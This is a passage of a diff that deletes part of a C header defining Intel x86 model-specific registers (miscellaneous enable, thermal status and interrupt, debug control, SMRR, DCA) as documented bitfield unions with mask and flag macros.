processor_event_based_sampling_unavailable : 1; -#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE_BIT 12 -#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE_FLAG 0x1000 -#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE_MASK 0x01 -#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE(_) (((_) >> 12) & 0x01) - uint64_t reserved4 : 3; - - /** - * @brief Enhanced Intel SpeedStep Technology Enable (R/W) - * - * [Bit 16] - 0 = Enhanced Intel SpeedStep Technology disabled. - * - 1 = Enhanced Intel SpeedStep Technology enabled. - * - * @remarks If CPUID.01H: ECX[7] = 1 - */ - uint64_t enhanced_intel_speedstep_technology_enable : 1; -#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE_BIT 16 -#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE_FLAG 0x10000 -#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE_MASK 0x01 -#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE(_) (((_) >> 16) & 0x01) - uint64_t reserved5 : 1; - - /** - * @brief ENABLE MONITOR FSM (R/W) - * - * [Bit 18] When this bit is set to 0, the MONITOR feature flag is not set (CPUID.01H:ECX[bit3] = 0). This indicates that - * MONITOR/MWAIT are not supported. Software attempts to execute MONITOR/MWAIT will cause \#UD when this bit is 0. - * When this bit is set to 1 (default), MONITOR/MWAIT are supported (CPUID.01H:ECX[bit 3] = 1). If the SSE3 feature flag - * ECX[0] is not set (CPUID.01H:ECX[bit 0] = 0), the OS must not attempt to alter this bit. BIOS must leave it in the - * default state. Writing this bit when the SSE3 feature flag is set to 0 may generate a \#GP exception. - * - * @remarks 0F_03H - */ - uint64_t enable_monitor_fsm : 1; -#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM_BIT 18 -#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM_FLAG 0x40000 -#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM_MASK 0x01 -#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM(_) (((_) >> 18) & 0x01) - uint64_t reserved6 : 3; - - /** - * @brief Limit CPUID Maxval (R/W) - * - * [Bit 22] When this bit is set to 1, CPUID.00H returns a maximum value in EAX[7:0] of 2. BIOS should contain a setup - * question that allows users to specify when the installed OS does not support CPUID functions greater than 2. - * Before setting this bit, BIOS must execute the CPUID.0H and examine the maximum value returned in EAX[7:0]. If the - * maximum value is greater than 2, this bit is supported. - * Otherwise, this bit is not supported. Setting this bit when the maximum value is not greater than 2 may generate a \#GP - * exception. Setting this bit may cause unexpected behavior in software that depends on the availability of CPUID leaves - * greater than 2. - * - * @remarks 0F_03H - */ - uint64_t limit_cpuid_maxval : 1; -#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL_BIT 22 -#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL_FLAG 0x400000 -#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL_MASK 0x01 -#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL(_) (((_) >> 22) & 0x01) - - /** - * @brief xTPR Message Disable (R/W) - * - * [Bit 23] When set to 1, xTPR messages are disabled. xTPR messages are optional messages that allow the processor to - * inform the chipset of its priority. - * - * @remarks If CPUID.01H:ECX[14] = 1 - */ - uint64_t xtpr_message_disable : 1; -#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE_BIT 23 -#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE_FLAG 0x800000 -#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE_MASK 0x01 -#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE(_) (((_) >> 23) & 0x01) - uint64_t reserved7 : 10; - - /** - * @brief XD Bit Disable (R/W) - * - * [Bit 34] When set to 1, the Execute Disable Bit feature (XD Bit) is disabled and the XD Bit extended feature flag will - * be clear (CPUID.80000001H: EDX[20]=0). - * When set to a 0 (default), the Execute Disable Bit feature (if available) allows the OS to enable PAE paging and take - * advantage of data only pages. - * BIOS must not alter the contents of this bit location, if XD bit is not supported. Writing this bit to 1 when the XD Bit - * extended feature flag is set to 0 may generate a \#GP exception. - * - * @remarks If CPUID.80000001H:EDX[20] = 1 - */ - uint64_t xd_bit_disable : 1; -#define IA32_MISC_ENABLE_XD_BIT_DISABLE_BIT 34 -#define IA32_MISC_ENABLE_XD_BIT_DISABLE_FLAG 0x400000000 -#define IA32_MISC_ENABLE_XD_BIT_DISABLE_MASK 0x01 -#define IA32_MISC_ENABLE_XD_BIT_DISABLE(_) (((_) >> 34) & 0x01) - uint64_t reserved8 : 29; - }; - - uint64_t flags; -} ia32_misc_enable_register; - - -/** - * Performance Energy Bias Hint. - * - * @remarks If CPUID.6H:ECX[3] = 1 - */ -#define IA32_ENERGY_PERF_BIAS 0x000001B0 -typedef union -{ - struct - { - /** - * @brief Power Policy Preference - * - * [Bits 3:0] - 0 indicates preference to highest performance. - * - 15 indicates preference to maximize energy saving. - */ - uint64_t power_policy_preference : 4; -#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE_BIT 0 -#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE_FLAG 0x0F -#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE_MASK 0x0F -#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE(_) (((_) >> 0) & 0x0F) - uint64_t reserved1 : 60; - }; - - uint64_t flags; -} ia32_energy_perf_bias_register; - - -/** - * @brief Package Thermal Status Information (RO) - * - * Package Thermal Status Information. Contains status information about the package's thermal sensor. - * - * @remarks If CPUID.06H: EAX[6] = 1 - * @see Vol3B[14.8(PACKAGE LEVEL THERMAL MANAGEMENT)] - */ -#define IA32_PACKAGE_THERM_STATUS 0x000001B1 -typedef union -{ - struct - { - /** - * [Bit 0] Pkg Thermal Status - */ - uint64_t thermal_status : 1; -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_BIT 0 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_FLAG 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Pkg Thermal Status Log - */ - uint64_t thermal_status_log : 1; -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG_BIT 1 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG_FLAG 0x02 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Pkg PROCHOT \# event - */ - uint64_t prochot_event : 1; -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT_BIT 2 -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT_FLAG 0x04 -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Pkg PROCHOT \# log - */ - uint64_t prochot_log : 1; -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG_BIT 3 -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG_FLAG 0x08 -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Pkg Critical Temperature Status - */ - uint64_t critical_temperature_status : 1; -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_BIT 4 -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_FLAG 0x10 -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Pkg Critical Temperature Status Log - */ - uint64_t critical_temperature_status_log : 1; -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_BIT 5 -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_FLAG 0x20 -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Pkg Thermal Threshold \#1 Status - */ - uint64_t thermal_threshold1_status : 1; -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_BIT 6 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_FLAG 0x40 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Pkg Thermal Threshold \#1 log - */ - uint64_t thermal_threshold1_log : 1; -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG_BIT 7 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG_FLAG 0x80 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] Pkg Thermal Threshold \#2 Status - */ - uint64_t thermal_threshold2_status : 1; -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_BIT 8 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_FLAG 0x100 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] Pkg Thermal Threshold \#2 log - */ - uint64_t thermal_threshold2_log : 1; -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG_BIT 9 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG_FLAG 0x200 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] Pkg Power Limitation Status - */ - uint64_t power_limitation_status : 1; -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS_BIT 10 -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS_FLAG 0x400 -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] Pkg Power Limitation log - */ - uint64_t power_limitation_log : 1; -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG_BIT 11 -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG_FLAG 0x800 -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG_MASK 0x01 -#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG(_) (((_) >> 11) & 0x01) - uint64_t reserved1 : 4; - - /** - * [Bits 22:16] Pkg Digital Readout - */ - uint64_t digital_readout : 7; -#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT_BIT 16 -#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT_FLAG 0x7F0000 -#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT_MASK 0x7F -#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT(_) (((_) >> 16) & 0x7F) - uint64_t reserved2 : 41; - }; - - uint64_t flags; -} ia32_package_therm_status_register; - - -/** - * @brief Package Thermal Interrupt Control (RO) - * - * Enables and disables the generation of an interrupt on temperature transitions detected with the package's thermal - * sensor. - * - * @remarks If CPUID.06H: EAX[6] = 1 - * @see Vol3B[14.8(PACKAGE LEVEL THERMAL MANAGEMENT)] - */ -#define IA32_PACKAGE_THERM_INTERRUPT 0x000001B2 -typedef union -{ - struct - { - /** - * [Bit 0] Pkg High-Temperature Interrupt Enable. - */ - uint64_t high_temperature_interrupt_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_BIT 0 -#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Pkg Low-Temperature Interrupt Enable. - */ - uint64_t low_temperature_interrupt_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_BIT 1 -#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x02 -#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Pkg PROCHOT\# Interrupt Enable. - */ - uint64_t prochot_interrupt_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_BIT 2 -#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_FLAG 0x04 -#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 4] Pkg Overheat Interrupt Enable. - */ - uint64_t overheat_interrupt_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE_BIT 4 -#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE_FLAG 0x10 -#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE(_) (((_) >> 4) & 0x01) - uint64_t reserved2 : 3; - - /** - * [Bits 14:8] Pkg Threshold \#1 Value - */ - uint64_t threshold1_value : 7; -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE_BIT 8 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE_FLAG 0x7F00 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE_MASK 0x7F -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE(_) (((_) >> 8) & 0x7F) - - /** - * [Bit 15] Pkg Threshold \#1 Interrupt Enable. - */ - uint64_t threshold1_interrupt_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_BIT 15 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_FLAG 0x8000 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE(_) (((_) >> 15) & 0x01) - - /** - * [Bits 22:16] Pkg Threshold \#2 Value. - */ - uint64_t threshold2_value : 7; -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE_BIT 16 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE_FLAG 0x7F0000 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE_MASK 0x7F -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE(_) (((_) >> 16) & 0x7F) - - /** - * [Bit 23] Pkg Threshold \#2 Interrupt Enable. - */ - uint64_t threshold2_interrupt_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_BIT 23 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_FLAG 0x800000 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE(_) (((_) >> 23) & 0x01) - - /** - * [Bit 24] Pkg Power Limit Notification Enable. - */ - uint64_t power_limit_notification_enable : 1; -#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_BIT 24 -#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_FLAG 0x1000000 -#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_MASK 0x01 -#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE(_) (((_) >> 24) & 0x01) - uint64_t reserved3 : 39; - }; - - uint64_t flags; -} ia32_package_therm_interrupt_register; - - -/** - * Trace/Profile Resource Control. - * - * @remarks 06_0EH - */ -#define IA32_DEBUGCTL 0x000001D9 -typedef union -{ - struct - { - /** - * [Bit 0] Setting this bit to 1 enables the processor to record a running trace of the most recent branches taken by the - * processor in the LBR stack. - * - * @remarks 06_01H - */ - uint64_t lbr : 1; -#define IA32_DEBUGCTL_LBR_BIT 0 -#define IA32_DEBUGCTL_LBR_FLAG 0x01 -#define IA32_DEBUGCTL_LBR_MASK 0x01 -#define IA32_DEBUGCTL_LBR(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Setting this bit to 1 enables the processor to treat EFLAGS.TF as single-step on branches instead of single-step - * on instructions. - * - * @remarks 06_01H - */ - uint64_t btf : 1; -#define IA32_DEBUGCTL_BTF_BIT 1 -#define IA32_DEBUGCTL_BTF_FLAG 0x02 -#define IA32_DEBUGCTL_BTF_MASK 0x01 -#define IA32_DEBUGCTL_BTF(_) (((_) >> 1) & 0x01) - uint64_t reserved1 : 4; - - /** - * [Bit 6] Setting this bit to 1 enables branch trace messages to be sent. - * - * @remarks 06_0EH - */ - uint64_t tr : 1; -#define IA32_DEBUGCTL_TR_BIT 6 -#define IA32_DEBUGCTL_TR_FLAG 0x40 -#define IA32_DEBUGCTL_TR_MASK 0x01 -#define IA32_DEBUGCTL_TR(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Setting this bit enables branch trace messages (BTMs) to be logged in a BTS buffer. - * - * @remarks 06_0EH - */ - uint64_t bts : 1; -#define IA32_DEBUGCTL_BTS_BIT 7 -#define IA32_DEBUGCTL_BTS_FLAG 0x80 -#define IA32_DEBUGCTL_BTS_MASK 0x01 -#define IA32_DEBUGCTL_BTS(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] When clear, BTMs are logged in a BTS buffer in circular fashion. When this bit is set, an interrupt is generated - * by the BTS facility when the BTS buffer is full. - * - * @remarks 06_0EH - */ - uint64_t btint : 1; -#define IA32_DEBUGCTL_BTINT_BIT 8 -#define IA32_DEBUGCTL_BTINT_FLAG 0x100 -#define IA32_DEBUGCTL_BTINT_MASK 0x01 -#define IA32_DEBUGCTL_BTINT(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] When set, BTS or BTM is skipped if CPL = 0. - * - * @remarks 06_0FH - */ - uint64_t bts_off_os : 1; -#define IA32_DEBUGCTL_BTS_OFF_OS_BIT 9 -#define IA32_DEBUGCTL_BTS_OFF_OS_FLAG 0x200 -#define IA32_DEBUGCTL_BTS_OFF_OS_MASK 0x01 -#define IA32_DEBUGCTL_BTS_OFF_OS(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] When set, BTS or BTM is skipped if CPL > 0. - * - * @remarks 06_0FH - */ - uint64_t bts_off_usr : 1; -#define IA32_DEBUGCTL_BTS_OFF_USR_BIT 10 -#define IA32_DEBUGCTL_BTS_OFF_USR_FLAG 0x400 -#define IA32_DEBUGCTL_BTS_OFF_USR_MASK 0x01 -#define IA32_DEBUGCTL_BTS_OFF_USR(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] When set, the LBR stack is frozen on a PMI request. - * - * @remarks If CPUID.01H: ECX[15] = 1 && CPUID.0AH: EAX[7:0] > 1 - */ - uint64_t freeze_lbrs_on_pmi : 1; -#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI_BIT 11 -#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI_FLAG 0x800 -#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI_MASK 0x01 -#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI(_) (((_) >> 11) & 0x01) - - /** - * [Bit 12] When set, each ENABLE bit of the global counter control MSR are frozen (address 38FH) on a PMI request. - * - * @remarks If CPUID.01H: ECX[15] = 1 && CPUID.0AH: EAX[7:0] > 1 - */ - uint64_t freeze_perfmon_on_pmi : 1; -#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI_BIT 12 -#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI_FLAG 0x1000 -#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI_MASK 0x01 -#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI(_) (((_) >> 12) & 0x01) - - /** - * [Bit 13] When set, enables the logical processor to receive and generate PMI on behalf of the uncore. - * - * @remarks 06_1AH - */ - uint64_t enable_uncore_pmi : 1; -#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI_BIT 13 -#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI_FLAG 0x2000 -#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI_MASK 0x01 -#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI(_) (((_) >> 13) & 0x01) - - /** - * [Bit 14] When set, freezes perfmon and trace messages while in SMM. - * - * @remarks If IA32_PERF_CAPABILITIES[12] = 1 - */ - uint64_t freeze_while_smm : 1; -#define IA32_DEBUGCTL_FREEZE_WHILE_SMM_BIT 14 -#define IA32_DEBUGCTL_FREEZE_WHILE_SMM_FLAG 0x4000 -#define IA32_DEBUGCTL_FREEZE_WHILE_SMM_MASK 0x01 -#define IA32_DEBUGCTL_FREEZE_WHILE_SMM(_) (((_) >> 14) & 0x01) - - /** - * [Bit 15] When set, enables DR7 debug bit on XBEGIN. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[11] = 1) - */ - uint64_t rtm_debug : 1; -#define IA32_DEBUGCTL_RTM_DEBUG_BIT 15 -#define IA32_DEBUGCTL_RTM_DEBUG_FLAG 0x8000 -#define IA32_DEBUGCTL_RTM_DEBUG_MASK 0x01 -#define IA32_DEBUGCTL_RTM_DEBUG(_) (((_) >> 15) & 0x01) - uint64_t reserved2 : 48; - }; - - uint64_t flags; -} ia32_debugctl_register; - - -/** - * @brief SMRR Base Address (Writeable only in SMM) - * - * SMRR Base Address. Base address of SMM memory range. - * - * @remarks If IA32_MTRRCAP.SMRR[11] = 1 - */ -#define IA32_SMRR_PHYSBASE 0x000001F2 -typedef union -{ - struct - { - /** - * @brief Type - * - * [Bits 7:0] Type. Specifies memory type of the range. - */ - uint64_t type : 8; -#define IA32_SMRR_PHYSBASE_TYPE_BIT 0 -#define IA32_SMRR_PHYSBASE_TYPE_FLAG 0xFF -#define IA32_SMRR_PHYSBASE_TYPE_MASK 0xFF -#define IA32_SMRR_PHYSBASE_TYPE(_) (((_) >> 0) & 0xFF) - uint64_t reserved1 : 4; - - /** - * [Bits 31:12] SMRR physical Base Address. - */ - uint64_t smrr_physical_base_address : 20; -#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS_BIT 12 -#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS_FLAG 0xFFFFF000 -#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS_MASK 0xFFFFF -#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS(_) (((_) >> 12) & 0xFFFFF) - uint64_t reserved2 : 32; - }; - - uint64_t flags; -} ia32_smrr_physbase_register; - - -/** - * @brief SMRR Range Mask (Writeable only in SMM) - * - * Range Mask of SMM memory range. - * - * @remarks If IA32_MTRRCAP[SMRR] = 1 - */ -#define IA32_SMRR_PHYSMASK 0x000001F3 -typedef union -{ - struct - { - uint64_t reserved1 : 11; - - /** - * [Bit 11] Enable range mask. - */ - uint64_t enable_range_mask : 1; -#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK_BIT 11 -#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK_FLAG 0x800 -#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK_MASK 0x01 -#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK(_) (((_) >> 11) & 0x01) - - /** - * [Bits 31:12] SMRR address range mask. - */ - uint64_t smrr_address_range_mask : 20; -#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK_BIT 12 -#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK_FLAG 0xFFFFF000 -#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK_MASK 0xFFFFF -#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK(_) (((_) >> 12) & 0xFFFFF) - uint64_t reserved2 : 32; - }; - - uint64_t flags; -} ia32_smrr_physmask_register; - - -/** - * DCA Capability. - * - * @remarks If CPUID.01H: ECX[18] = 1 - */ -#define IA32_PLATFORM_DCA_CAP 0x000001F8 - - /** - * If set, CPU supports Prefetch-Hint type. - * - * @remarks If CPUID.01H: ECX[18] = 1 - */ -#define IA32_CPU_DCA_CAP 0x000001F9 - - /** - * DCA type 0 Status and Control register. - * - * @remarks If CPUID.01H: ECX[18] = 1 - */ -#define IA32_DCA_0_CAP 0x000001FA -typedef union -{ - struct - { - /** - * [Bit 0] Set by HW when DCA is fuseenabled and no defeatures are set. - */ - uint64_t dca_active : 1; -#define IA32_DCA_0_CAP_DCA_ACTIVE_BIT 0 -#define IA32_DCA_0_CAP_DCA_ACTIVE_FLAG 0x01 -#define IA32_DCA_0_CAP_DCA_ACTIVE_MASK 0x01 -#define IA32_DCA_0_CAP_DCA_ACTIVE(_) (((_) >> 0) & 0x01) - - /** - * [Bits 2:1] TRANSACTION. - */ - uint64_t transaction : 2; -#define IA32_DCA_0_CAP_TRANSACTION_BIT 1 -#define IA32_DCA_0_CAP_TRANSACTION_FLAG 0x06 -#define IA32_DCA_0_CAP_TRANSACTION_MASK 0x03 -#define IA32_DCA_0_CAP_TRANSACTION(_) (((_) >> 1) & 0x03) - - /** - * [Bits 6:3] DCA_TYPE. - */ - uint64_t dca_type : 4; -#define IA32_DCA_0_CAP_DCA_TYPE_BIT 3 -#define IA32_DCA_0_CAP_DCA_TYPE_FLAG 0x78 -#define IA32_DCA_0_CAP_DCA_TYPE_MASK 0x0F -#define IA32_DCA_0_CAP_DCA_TYPE(_) (((_) >> 3) & 0x0F) - - /** - * [Bits 10:7] DCA_QUEUE_SIZE. - */ - uint64_t dca_queue_size : 4; -#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE_BIT 7 -#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE_FLAG 0x780 -#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE_MASK 0x0F -#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE(_) (((_) >> 7) & 0x0F) - uint64_t reserved1 : 2; - - /** - * [Bits 16:13] Writes will update the register but have no HW side-effect. - */ - uint64_t dca_delay : 4; -#define IA32_DCA_0_CAP_DCA_DELAY_BIT 13 -#define IA32_DCA_0_CAP_DCA_DELAY_FLAG 0x1E000 -#define IA32_DCA_0_CAP_DCA_DELAY_MASK 0x0F -#define IA32_DCA_0_CAP_DCA_DELAY(_) (((_) >> 13) & 0x0F) - uint64_t reserved2 : 7; - - /** - * [Bit 24] SW can request DCA block by setting this bit. - */ - uint64_t sw_block : 1; -#define IA32_DCA_0_CAP_SW_BLOCK_BIT 24 -#define IA32_DCA_0_CAP_SW_BLOCK_FLAG 0x1000000 -#define IA32_DCA_0_CAP_SW_BLOCK_MASK 0x01 -#define IA32_DCA_0_CAP_SW_BLOCK(_) (((_) >> 24) & 0x01) - uint64_t reserved3 : 1; - - /** - * [Bit 26] Set when DCA is blocked by HW (e.g. CR0.CD = 1). - */ - uint64_t hw_block : 1; -#define 